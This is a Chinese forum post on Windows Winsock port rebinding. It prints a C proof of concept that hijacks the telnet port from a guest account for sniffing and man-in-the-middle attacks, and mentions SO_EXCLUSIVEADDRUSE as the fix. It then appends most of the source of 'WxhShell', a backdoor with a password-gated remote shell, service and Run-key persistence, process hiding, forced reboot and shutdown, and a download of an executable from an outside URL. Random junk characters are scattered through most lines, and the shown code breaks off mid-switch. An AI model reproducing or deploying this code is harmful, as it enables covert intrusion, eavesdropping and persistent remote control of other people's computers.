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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: `riK[@  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); p_ QL{gn  
c>r0 N[  
  saddr.sin_family = AF_INET; .)mw~3]  
sT3O_20{  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); @Tzh3,F2  
uU>Bun  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); X(#G6KeZFZ  
@$;"nVZ4v  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 M(S:&GOU  
]#[ R^t  
  这意味着什么?意味着可以进行如下的攻击: 6?ylSQ]1  
OY6l t.t  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 *Oo2rk nQ  
C=AX{sn  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) [N925?--S  
6kKIDEX  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 @K]D :MSS  
r!etj3  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  9[B*CD |  
>9|/sH@W  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 >+fet ,  
*A O/$K@Ma  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 (Y!@,rKd   
a3037~X  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 \?)<==^  
Pd\S{ Y~wk  
  #include F\&R nDJ  
  #include &}%3yrU  
  #include B}YB%P_CWs  
  #include    z}N=Oe  
  DWORD WINAPI ClientThread(LPVOID lpParam);   _y),C   
  int main()  #IyxH$  
  { K9gfS V>]  
  WORD wVersionRequested; #tdI;x3  
  DWORD ret; (~N &ov  
  WSADATA wsaData; Yt7R[|  
  BOOL val; a! P?RbW  
  SOCKADDR_IN saddr; N/mTG2'<  
  SOCKADDR_IN scaddr; C jsy1gA  
  int err; O%y.  
  SOCKET s; $ T.c>13  
  SOCKET sc; V\WqA8  
  int caddsize; *^Wx=#w$V  
  HANDLE mt; 2RidI&?c<  
  DWORD tid;    -}{c;pT  
  wVersionRequested = MAKEWORD( 2, 2 ); >ZuWsA0q  
  err = WSAStartup( wVersionRequested, &wsaData ); /WB^h6qg  
  if ( err != 0 ) { 4l E j/#}  
  printf("error!WSAStartup failed!\n"); /e6\F7  
  return -1; O[;>Y'zqC%  
  } uJm9h(xq  
  saddr.sin_family = AF_INET; .T/\5_Bx  
   vVmoV0kGt  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 =zt@*o{F  
)avli@W-3j  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); InMF$pw  
  saddr.sin_port = htons(23); +hRAU@RA  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *obBo6!zM  
  { gyJ$ Jp  
  printf("error!socket failed!\n"); &mKtW$K` q  
  return -1; Q\Fgc ;.U  
  } \;}F6g  
  val = TRUE; P|_>M SO1'  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 `[w:l[i  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) :a R&t#<"E  
  { N)03{$WM  
  printf("error!setsockopt failed!\n"); $uF} GP_)  
  return -1; >Q#_<IcI  
  } lzN\~5a}  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; AF>J8V  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 fn(KmuNA  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 |[;9$Vn  
+HQX]t:Y  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) lO9ML-8C1  
  { 5\V>Sj(  
  ret=GetLastError(); f+j\,LJ  
  printf("error!bind failed!\n"); Tf) qd\  
  return -1; K 38e,O  
  } htj:Z:C`  
  listen(s,2); hMh8)S  
  while(1) Ro`9Ibqr  
  { yf*^Y74  
  caddsize = sizeof(scaddr); h W6og)x  
  //接受连接请求 & xo,49`!  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); #HpF\{{v  
  if(sc!=INVALID_SOCKET) |T atRB3>  
  { )"q$g&  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); B>WAlmPA  
  if(mt==NULL) +1~Y2   
  { z;JyHC)  
  printf("Thread Creat Failed!\n"); UmcPpZ  
  break; :[|4Zn  
  } o<`Mvw@Z  
  } u+a" '*  
  CloseHandle(mt); L}pMjyM  
  } K>hQls+  
  closesocket(s); //n$#c _}u  
  WSACleanup(); {b6| wQ\  
  return 0; s4/4o_[W  
  }   : a @_GIC  
  DWORD WINAPI ClientThread(LPVOID lpParam) > L_kSC?  
  { NKd}g  
  SOCKET ss = (SOCKET)lpParam; (-viP  
  SOCKET sc; W+d=BnOa8  
  unsigned char buf[4096]; SK t&]H  
  SOCKADDR_IN saddr; a,i k=g  
  long num; %wWJVq}jx  
  DWORD val; :rd{y`59>&  
  DWORD ret; D^8]+2r  
  //如果是隐藏端口应用的话,可以在此处加一些判断 S=B?bD_,c  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ,$s NfW  
  saddr.sin_family = AF_INET; M?l/_!QB  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Fcz7   
  saddr.sin_port = htons(23); 4u- mE  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #m=TK7*v  
  { vVQwuV  
  printf("error!socket failed!\n"); \!M6-kmi  
  return -1; r#rL~Rsd}  
  } A[:0?Ez=  
  val = 100; P0VXHE1p  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) $`,10uw  
  { *;cvG?V  
  ret = GetLastError(); :}'5'oVG  
  return -1; vqO d`_)  
  } DSjEoWj   
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) X5@+M!`  
  {  |Hx#Uk#  
  ret = GetLastError(); V>D8l @  
  return -1; 4eH:eCZze  
  } 5My4a9  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Od_xH  
  { qF'lh  
  printf("error!socket connect failed!\n"); oGt,^!V1  
  closesocket(sc); 1T&NU  
  closesocket(ss); )` ~"o*M  
  return -1; Y;2WY 0eq  
  } gySCK-(y  
  while(1) |H-%F?<{  
  { OlRtVp1  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 j.=&qYc0"  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 e1cqzhI=nA  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 [$\KS_,Mn  
  num = recv(ss,buf,4096,0); 6z`l}<q  
  if(num>0) 3.?G,%S5.$  
  send(sc,buf,num,0); |wbXu:  
  else if(num==0) dfy]w4ETB  
  break; 2<$pai"yl  
  num = recv(sc,buf,4096,0); YV%y KD  
  if(num>0) 9w3KAca  
  send(ss,buf,num,0); TAL,(&[s  
  else if(num==0) ;|qbz]t2(  
  break; ~jz!jF~I  
  } gXJtk;  
  closesocket(ss); 2i9FzpC3  
  closesocket(sc); V.w L  
  return 0 ; jk (tw-B  
  } ?+)>JvWDz  
p : {,~ 1  
:m]KVcF.  
========================================================== ql/K$#u  
J:Mn 5hdK=  
下边附上一个代码,,WXhSHELL i.Rxx, *?  
+{~ cX] |  
========================================================== hMCf| e.UY  
#W$6[#7=I  
#include "stdafx.h" d+45Y,|  
,#Pp_f<  
#include <stdio.h> O0l1AX"  
#include <string.h> B,V:Qs6"  
#include <windows.h> inHlL  
#include <winsock2.h> ]hMs:$}  
#include <winsvc.h> dzk1!yy  
#include <urlmon.h> .R^R32ln  
Cl6P,C  
#pragma comment (lib, "Ws2_32.lib") `y3*\l  
#pragma comment (lib, "urlmon.lib") }A}cq!I^  
^O.` P  
#define MAX_USER   100 // 最大客户端连接数 Tuz~T _M  
#define BUF_SOCK   200 // sock buffer "]T1DG"  
#define KEY_BUFF   255 // 输入 buffer ECsb?n7e  
'}l7=r   
#define REBOOT     0   // 重启  o,rK8x  
#define SHUTDOWN   1   // 关机 <=~*`eWV  
5X PoQ^  
#define DEF_PORT   5000 // 监听端口 5Lm-KohT'  
;.66phe  
#define REG_LEN     16   // 注册表键长度 dvE~EZcS  
#define SVC_LEN     80   // NT服务名长度 42f\]R,  
G>edJPfQ  
// 从dll定义API QsX`IYk  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); M1z ?E@kz  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); <<DPer2  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); }0[<xo>K  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); P^aNAa  
j ];#=+  
// wxhshell配置信息 EG8%X"p  
struct WSCFG { ZU$QwI8  
  int ws_port;         // 监听端口 ep6V2R  
  char ws_passstr[REG_LEN]; // 口令 6&"*{E  
  int ws_autoins;       // 安装标记, 1=yes 0=no i"0*)$ h W  
  char ws_regname[REG_LEN]; // 注册表键名 |w"G4J6ha  
  char ws_svcname[REG_LEN]; // 服务名 =}" P;4:  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 nt%fJ k  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 /2Z7  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 a|5<L  
int ws_downexe;       // 下载执行标记, 1=yes 0=no O]XgA0]  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^V~^[Yp  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 :IO"' b  
lDL(,ZZS`  
}; ~\*wt(o  
ef@F!s_fI  
// default Wxhshell configuration +4n}H}9l  
struct WSCFG wscfg={DEF_PORT, >]HvXEdNZ|  
    "xuhuanlingzhe", ta@fNS4  
    1, Sim$:5P  
    "Wxhshell", R2==<"gq  
    "Wxhshell", #nQboTB@  
            "WxhShell Service", 3, 3n  
    "Wrsky Windows CmdShell Service", 0h kZ  
    "Please Input Your Password: ", +y_V$q$G  
  1, as73/J6  
  "http://www.wrsky.com/wxhshell.exe", ujn7DBE"  
  "Wxhshell.exe" _H@8qR  
    }; TtrV -X>L  
.E 9$j<SP-  
// 消息定义模块 610u!_-  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ^jXKM!}-E  
char *msg_ws_prompt="\n\r? for help\n\r#>"; b\^1P;!'W  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; S\ K[l/  
char *msg_ws_ext="\n\rExit."; z%]3`_I  
char *msg_ws_end="\n\rQuit."; M96Nt&P`  
char *msg_ws_boot="\n\rReboot..."; qYPgn _  
char *msg_ws_poff="\n\rShutdown..."; -UWyBM3c@  
char *msg_ws_down="\n\rSave to "; 7:zoF], s  
=Qn8Y`U  
char *msg_ws_err="\n\rErr!"; iOk`_LG#  
char *msg_ws_ok="\n\rOK!"; 4QE")Ge  
O) )j  
char ExeFile[MAX_PATH];  T4J WZ  
int nUser = 0; N3V4Mpf  
HANDLE handles[MAX_USER]; ]M 2n%9  
int OsIsNt; #<@_mbQ@|K  
UhXVeGO  
SERVICE_STATUS       serviceStatus; S"fqE%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; R2qz>kyyB  
uF{l`|b'  
// 函数声明 <vzU}JA\  
int Install(void); =I9hGj6  
int Uninstall(void); XM3~]  
int DownloadFile(char *sURL, SOCKET wsh); (SCZ.G(>  
int Boot(int flag); @.=2*e.z|b  
void HideProc(void); VrKLEN\  
int GetOsVer(void); MH]?:]K9V  
int Wxhshell(SOCKET wsl); "HLh3L~  
void TalkWithClient(void *cs); 5>:p'zI  
int CmdShell(SOCKET sock); Va4AE)[/*  
int StartFromService(void); -j^G4J  
int StartWxhshell(LPSTR lpCmdLine); _QtW)\)5 \  
V0bKtg1f?-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); !-7<x"avm  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); >J,IxRGi  
bv``PSb3  
// 数据结构和表定义 A&d_! u>  
SERVICE_TABLE_ENTRY DispatchTable[] = BA9;=orx  
{ CHdYY7\{  
{wscfg.ws_svcname, NTServiceMain}, CX7eCo  
{NULL, NULL} -5\.\L3y)  
}; {;38&Izwz  
QvzE:]pyi  
// 自我安装 Q@TeU#2Y  
int Install(void) &!*p>Ns)e  
{ 2{G7ignv  
  char svExeFile[MAX_PATH]; aw3rTT(  
  HKEY key; R_IT${O  
  strcpy(svExeFile,ExeFile); wh3Wuh?x  
h  m(  
// 如果是win9x系统,修改注册表设为自启动 $wcV~'fM  
if(!OsIsNt) { 9Z:pss@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { W,%qL6qV  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); zB"y^g  
  RegCloseKey(key); 3P*"$fH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rY"EW"y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 'l1cuAP!+  
  RegCloseKey(key); InG<B,/W?  
  return 0; ^Uldyv/  
    } K&&YxX~ 3  
  } ?YM0VB,y  
} g:>dF#  
else { ?o d*"M  
1k)`C<l  
// 如果是NT以上系统,安装为系统服务 PR>%@-Vgj  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); H"rIOoxf  
if (schSCManager!=0) +s5Yg,4*  
{ C 2?p>S/q  
  SC_HANDLE schService = CreateService jAD{?/RB}  
  ( 2J7JEv|  
  schSCManager, p|=0EWo4U  
  wscfg.ws_svcname, ~ [=2d a  
  wscfg.ws_svcdisp, zQx7qx  
  SERVICE_ALL_ACCESS, -axmfE?g0  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , m6 a @Y<  
  SERVICE_AUTO_START, B=2f-o  
  SERVICE_ERROR_NORMAL, y/ah<Y0(  
  svExeFile, 7/Mhz{o;W  
  NULL, (a8oI )~  
  NULL, YwF\  
  NULL, {q BbzBG  
  NULL, o(5 ( ]bJ  
  NULL mvBUm-X  
  ); H{*R(S<I  
  if (schService!=0) ;gW?Fnry;  
  { nB , &m&  
  CloseServiceHandle(schService); JZ0u/x5  
  CloseServiceHandle(schSCManager); 9/50+2F  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  TGozoPV  
  strcat(svExeFile,wscfg.ws_svcname); @RS|}M^4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { CA ,0Fe3  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); J_ `\}55n  
  RegCloseKey(key); B ? D|B  
  return 0; t/:]\|]WB  
    } b~m|mb$  
  } %-[U;pJe;  
  CloseServiceHandle(schSCManager); AY%Y,< a  
} Og<UW^VR  
} YS&Q4nv-  
^1+&)6s7V  
return 1; \YsYOFc|  
} 6V c&g  
8Vqh1<  
// 自我卸载 KfLp cV  
int Uninstall(void) WUqfY?5  
{ J9/}ZD^  
  HKEY key; u:&Lf  
G |vG5$Nf  
if(!OsIsNt) { 97(*-e=e  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9p<ZSh  
  RegDeleteValue(key,wscfg.ws_regname); T=->~@5  
  RegCloseKey(key); cXvq=Rb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $v+t ~b  
  RegDeleteValue(key,wscfg.ws_regname); 9!oNyqQ  
  RegCloseKey(key); !`#xFRHe  
  return 0; 'x!5fAy  
  } 421ol  
} tsu Mt  
} DU-&bm  
else { G2}e@L0  
+eD+Z.{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ) %&~CW+  
if (schSCManager!=0) xA2 "i2k9  
{ ,_2ZKO/k$  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); :*/`"M)'  
  if (schService!=0) Ta3qEVs  
  { S-k:+4  
  if(DeleteService(schService)!=0) { 2Fsv_t&*>  
  CloseServiceHandle(schService); 4q\bnt  
  CloseServiceHandle(schSCManager); l>O~^41[  
  return 0; r+%}XS%;h  
  } X,8 ]g.<  
  CloseServiceHandle(schService); :;]iUjiC8  
  } cfd7)(6  
  CloseServiceHandle(schSCManager); T#e ;$\  
} 7B,a xkr  
} &*N;yW""f  
F"Y.'my8  
return 1; Sq,x57-  
} Cl5l+I\1  
&I$MV5)u  
// 从指定url下载文件 ("B[P/  
int DownloadFile(char *sURL, SOCKET wsh) qx~-(|s`H  
{ 0xYPK7a=L\  
  HRESULT hr; jRP9e  
char seps[]= "/"; -r5JP[0kP  
char *token; Xn 1V1sr  
char *file; Q5H! ^RQm  
char myURL[MAX_PATH]; ^xwnX=Np  
char myFILE[MAX_PATH]; usR: -1{  
e1 j3X\ \  
strcpy(myURL,sURL); '=2/0-;Jf  
  token=strtok(myURL,seps); C.[abpc  
  while(token!=NULL) z.q^`01/H  
  { 5dE@ePO[/9  
    file=token; M &g1'zv?/  
  token=strtok(NULL,seps); 3b2[i,m<L  
  } 58@YWv Ak  
EBX+fzjQo  
GetCurrentDirectory(MAX_PATH,myFILE); >qBQfz:U>  
strcat(myFILE, "\\"); hY@rt,! 8  
strcat(myFILE, file); Io81zA  
  send(wsh,myFILE,strlen(myFILE),0); BB694   
send(wsh,"...",3,0); :q0TS>l  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); jr<`@  
  if(hr==S_OK) <!s+X_^  
return 0; [Grd?mc#  
else %|:Gn)8  
return 1; OJGEX}3'  
`"/s,"c:D  
} *+ql{\am4N  
?B"k9+%5ej  
// 系统电源模块 ""JTU6]MS  
int Boot(int flag) R>iRnrn:-  
{ hv.$p5UY*  
  HANDLE hToken; \Y0o~JD  
  TOKEN_PRIVILEGES tkp; [%alnY  
'518S"T @  
  if(OsIsNt) { axSJ:j8  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);  M[^  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ueyz@{On~  
    tkp.PrivilegeCount = 1; +; P8QZK6  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 1yS [;  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); W'BB FG  
if(flag==REBOOT) { .m&JRzzV  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *t JgQ[  
  return 0; gua +-##)  
} b V5{  
else { Cz%tk}2  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) I0 78[3b  
  return 0; XvU^DEfW  
} PtUea  
  } `*J;4Ju@  
  else { \<}4D\qz  
if(flag==REBOOT) { M?i U$qI  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 7S_rN!E1i*  
  return 0; =z5'A|Wa=,  
} i: 6`Rmz1.  
else { o"te7nBI  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1VlRdDg  
  return 0; ?*36&Iq}  
} lTe7n'y^^  
} G% |$3  
Z r}5)ZR.  
return 1; 0W92Z@_GY  
} e;+6U"Jx*  
7,MDFO{n  
// win9x进程隐藏模块 S'Hb5C2u  
void HideProc(void) ne]P-50  
{ X"4 :#s  
9{D u)k  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); mv5=>Xc6  
  if ( hKernel != NULL ) %h}Qf&U_  
  { 2 L>;M  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); n(i Uc1Y  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 4pvT?s>68  
    FreeLibrary(hKernel); w\"~ *(M  
  } -C]k YQ  
9g7d:zG  
return; 'qL:7  
}  /$Qs1*  
))/NGa  
// 获取操作系统版本 ;Av=/hU  
int GetOsVer(void) E,~|-\b}h  
{ `-R-O@X|  
  OSVERSIONINFO winfo; ?IKSSe#,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); r{cefKJHg  
  GetVersionEx(&winfo);  n[vwwY  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `!`g&:Y  
  return 1; }V:B,:  
  else ''bh{ .x  
  return 0; DFgQ1:6[  
} ?Uq;>  
-YDA,.Ic?  
// 客户端句柄模块 0}'xoYv f  
int Wxhshell(SOCKET wsl) XniPNU  
{ JPH! .@  
  SOCKET wsh; <r9L-4  
  struct sockaddr_in client; I_1(jaY  
  DWORD myID; I7@|{L1|FB  
jR1o<]?  
  while(nUser<MAX_USER) J0ys Z]  
{ lOp7rW]$  
  int nSize=sizeof(client); Oe)d|6=  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); C+0MzfLgf  
  if(wsh==INVALID_SOCKET) return 1; KKBrw+)AJ  
B(pxyv)  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); f`$F^=  
if(handles[nUser]==0) ,4Q1[K35B  
  closesocket(wsh); 3WVH8Sb  
else Fy; sVB  
  nUser++; ,Y:ET1:  
  } fY4I(~Q  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); S/itK3  
- w{`/  
  return 0; y*G3dWb  
} UmR\2 cs  
`rLcJcW  
// 关闭 socket %O69A$Q[m  
void CloseIt(SOCKET wsh) 8l1s]K qr  
{ 1fK]A*{p  
closesocket(wsh); 43VBx<"  
nUser--; NJNS8\4  
ExitThread(0); _%@dlT?  
} AV>_ bw.  
|p .o^  
// 客户端请求句柄 [!~= m  
void TalkWithClient(void *cs) !*?|*\B^I  
{ ]c9\[Kdq}H  
x>cl$41!W  
  SOCKET wsh=(SOCKET)cs; 3 T1,:r  
  char pwd[SVC_LEN]; V0l"tr@  
  char cmd[KEY_BUFF]; -;:.+1   
char chr[1]; ,qT^e8E+  
int i,j; 5K:'VX  
.E:3I!dH7  
  while (nUser < MAX_USER) { gW5yLb_Vz$  
u|mTF>L  
if(wscfg.ws_passstr) { VLfc6:Yg  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); t]CA!i`  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  [HEljEv  
  //ZeroMemory(pwd,KEY_BUFF); [n2+`A  
      i=0; ? K,d  
  while(i<SVC_LEN) { ;!+-fn4C  
%lnVzGP  
  // 设置超时 lR>p  
  fd_set FdRead; EKD?j  
  struct timeval TimeOut; )ZW[$:wA  
  FD_ZERO(&FdRead); \ xJ_ )r  
  FD_SET(wsh,&FdRead); j* ZU}Ss  
  TimeOut.tv_sec=8; yPd6{% w  
  TimeOut.tv_usec=0; 8FIk|p|l^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 8345 H  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); T4nWK!}z  
9+iz+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !X[P)/?b0+  
  pwd=chr[0]; ,Y4>$:#n/  
  if(chr[0]==0xd || chr[0]==0xa) { UhKd o  
  pwd=0; d=p=eUd2  
  break; Nz77" kC  
  } dq{+-XaEk  
  i++; 7>E>`Nc6  
    } GGs7]mhA  
Z[9t?ePL  
  // 如果是非法用户,关闭 socket i'QR-B&Z  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); .iC!Ttr  
} GBl[s,g[|  
oF~+L3&X  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :4r{t?ytXw  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); dBkM~"  
a&Z,~Vp  
while(1) { ]6 HR  
fm^J-  
  ZeroMemory(cmd,KEY_BUFF); wVq9t|V  
8 :;]tt  
      // 自动支持客户端 telnet标准   ;:,U]@  
  j=0; ? Rk[P cX<  
  while(j<KEY_BUFF) { M2$Hb_S{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K))P 2ss  
  cmd[j]=chr[0]; mKqXB\<  
  if(chr[0]==0xa || chr[0]==0xd) { ^;9<7 h[l  
  cmd[j]=0; /^L <q  
  break; =)s~t|@v  
  } jqj4(J@%yr  
  j++; Uc, J+j0F  
    } v5 @9  
BM{*5Lf  
  // 下载文件 >m:n6M'r  
  if(strstr(cmd,"http://")) { ~>H,~</`  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); i-ww@XOQ  
  if(DownloadFile(cmd,wsh)) Q;s {M{u  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); *10qP?0H  
  else va:<W H  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  )$GCur~  
  } Cw"[$E'J  
  else { I)kc[/^j$  
=A*a9c2  
    switch(cmd[0]) { N^M6*,F,J  
  Lq62  
  // 帮助 qg/FI#r  
  case '?': { Dkx}}E:<  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); BCuoFw)  
    break; FUXJy{n6"2  
  } 01&@8z'E  
  // 安装 2acT w#  
  case 'i': { ${rWDZ0Z  
    if(Install()) k 1a?yH)=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ai"MJ6)  
    else qW4DW4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +\*b?x  
    break; :7i x`C2  
    } $)  M2  
  // 卸载 tZv^uuEp3  
  case 'r': { $@vB<(sk  
    if(Uninstall()) 052Cf dq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~ MsHV%  
    else | TG6-e_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F!phTu  
    break; j sD]v)LB  
    } o:&8H>(hn]  
  // 显示 wxhshell 所在路径 ;B;@MD,B  
  case 'p': { <CB%e!~.9  
    char svExeFile[MAX_PATH]; TFm[sO0RZ  
    strcpy(svExeFile,"\n\r"); S?6 -I,]h  
      strcat(svExeFile,ExeFile); -LT!LBnEkf  
        send(wsh,svExeFile,strlen(svExeFile),0); KxD/{0F  
    break; ~]#-S20  
    } ?A3u2-  
  // 重启 }& W=  
  case 'b': { >tPf.xI|l  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ce#Iu#qT  
    if(Boot(REBOOT)) 'sXrtl7{^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F:d2;  
    else { P(FlU]q  
    closesocket(wsh); '&hd^9]Lo  
    ExitThread(0); AE+BrN +"2  
    } O$;#GpR  
    break; Rnoz[1y?0  
    } by0K:*C  
  // 关机 S~ Z<-@S  
  case 'd': { uY(8KW  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ,Jh#$mil  
    if(Boot(SHUTDOWN)) =4'V}p  
